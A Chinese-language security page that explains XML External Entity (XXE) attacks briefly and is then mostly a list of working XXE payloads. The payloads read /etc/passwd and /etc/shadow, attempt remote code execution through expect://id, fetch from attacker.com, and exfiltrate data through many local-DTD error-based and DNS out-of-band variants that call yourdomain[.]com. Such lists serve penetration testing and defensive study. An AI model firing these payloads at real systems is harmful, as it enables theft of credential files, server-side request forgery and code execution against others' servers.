目录导航
XML外部实体（XXE）处理
描述
一个XML外部实体攻击是针对应用程序解析XML输入类型的攻击。当弱配置的XML解析器处理包含对外部实体的引用的XML输入时，就会发生此攻击。这种攻击可能导致泄露机密数据，拒绝服务，伪造服务器端请求，从解析器所在的计算机的角度进行端口扫描以及影响其他系统。
XML 1.0标准定义了XML文档的结构。该标准定义了一个称为实体的概念，它是某种类型的存储单元。有几种不同类型的实体，外部通用/参数解析的实体通常简称为外部实体，可以通过声明的系统标识符访问本地或远程内容。假定系统标识符是一个URI，在处理实体时可以由XML处理器取消引用（访问）。然后，XML处理器用系统标识符取消引用的内容替换命名的外部实体的出现。如果系统标识符包含受污染的数据，并且XML处理器取消引用此受污染的数据，则XML处理器可以公开通常无法由应用程序访问的机密信息。类似的攻击媒介会使用外部DTD，外部样式表，外部模式等，如果包含在内，则允许类似的外部资源包含样式攻击。
攻击可能包括使用file：方案或系统标识符中的本地路径公开本地文件，其中可能包含敏感数据，例如密码或私人用户数据。由于攻击是相对于处理XML文档的应用程序而发生的，因此攻击者可能会使用此受信任的应用程序转到其他内部系统，可能通过http(s)请求公开其他内部内容或启动CSRF攻击任何不受保护的内部服务。在某些情况下，可以通过取消引用恶意URI来利用容易受到客户端内存损坏问题影响的XML处理器库，从而可能允许在应用程序帐户下执行任意代码。其他攻击可以访问可能不会停止返回数据的本地资源，如果未释放太多线程或进程，可能会影响应用程序的可用性。
请注意，该应用程序无需显式将响应返回给攻击者，因为它很容易受到信息泄露的影响。攻击者可以利用DNS信息通过子域名将数据泄漏到他们控制的DNS服务器。
风险因素
- 利用XXE检索文件，其中定义了一个包含文件内容的外部实体，并在应用程序的响应中返回。
- 利用XXE执行SSRF攻击，其中基于到后端系统的URL定义了外部实体。
- 利用盲目的XXE泄漏数据，其中敏感数据从应用程序服务器传输到攻击者控制的系统。
- 利用盲目的XXE通过错误消息读取数据，攻击者可以在其中触发包含敏感数据的解析错误消息。
例子
下面的示例来自XML注入测试（OWASP-DV-008）。
访问可能无法返回的本地资源
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>远程执行代码
如果命运就在我们这边，并且PHP“expect”模块已加载，我们可以获得RCE。让我们修改有效负载
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>访问 /etc/passwd 或其他目标文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]>
<foo>&xxe;</foo>XXE漏洞爆破密码表
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.yourdomain[.]com/"/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://xxe-xsi-nonamespaceschemalocation.yourdomain[.]com/"/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:include schemaLocation="http://xxe-xsinclude-schemalocation.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:include namespace="http://xxe-xsinclude-namespace.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:import schemaLocation="http://xxe-xsimport-schemalocation.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:import namespace="http://xxe-xsimport-namespace.yourdomain[.]com/"/></xs:schema>
<?xml-stylesheet href="http://xxe-xml-stylesheet.yourdomain[.]com/"?><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-1.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\wmi20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-2.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Program Files (x86)\Lotus\Notes\domino.dtd"><!ENTITY % boolean '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-3.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd"><!ENTITY % onerrortypes '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-4.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-5.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % URI '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-6.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd"> <!ENTITY % Boolean '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-7.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-8.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-9.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-10.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/struts/struts-config_1_1.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-11.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/struts-config_1_2.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-12.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/gtksourceview-4/language-specs/language.dtd"> <!ENTITY % itemattrs '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-13.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib/gap/pkg/GAPDoc-1.6.2/bibxmlext.dtd"> <!ENTITY % n.InProceedings 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-14.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/boostbook/dtd/boostbook.dtd"> <!ENTITY % boost.common.attrib '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-15.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/lucene/main/lucene-queryparser-5.5.5.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd"> <!ENTITY % queries 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-16.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/xml-resolver/main/xml-resolver-1.2.jar!/org/apache/xml/resolver/etc/catalog.dtd"> <!ENTITY % publicIdentifier '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-17.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/nmap/nmap.dtd"> <!ENTITY % attr_numeric '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-18.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/liteide/liteeditor/kate/language.dtd"> <!ENTITY % commonAttributes '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-19.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgweather/locations.dtd"> <!ENTITY % name 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-20.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-server-operation.dtd"> <!ENTITY % paramlist-dtd ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-21.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-paramlist.dtd"> <!ENTITY % array-dtd ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-22.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/docutils/docutils.dtd"> <!ENTITY % measure '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-23.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/dblatex/schema/dblatex-config.dtd"> <!ENTITY % attlist.modname '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-24.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd"> <!ENTITY % block "xxx" > <!ENTITY % common ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-25.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/servlet-api.jar!/javax/servlet/resources/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-26.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file "dns-exfil-1"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\wmi20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file "dns-exfil-2"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Program Files (x86)\Lotus\Notes\domino.dtd"><!ENTITY % boolean '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-3"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd"><!ENTITY % onerrortypes '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-4"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa ' <!ENTITY % file "dns-exfil-5"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % URI '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-6"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd"> <!ENTITY % Boolean '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-7"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '> <!ENTITY % file "dns-exfil-8"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file "dns-exfil-9"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'aaa)> <!ENTITY % file "dns-exfil-10"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/struts/struts-config_1_1.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-11"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/struts-config_1_2.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-12"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/gtksourceview-4/language-specs/language.dtd"> <!ENTITY % itemattrs '> <!ENTITY % file "dns-exfil-13"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
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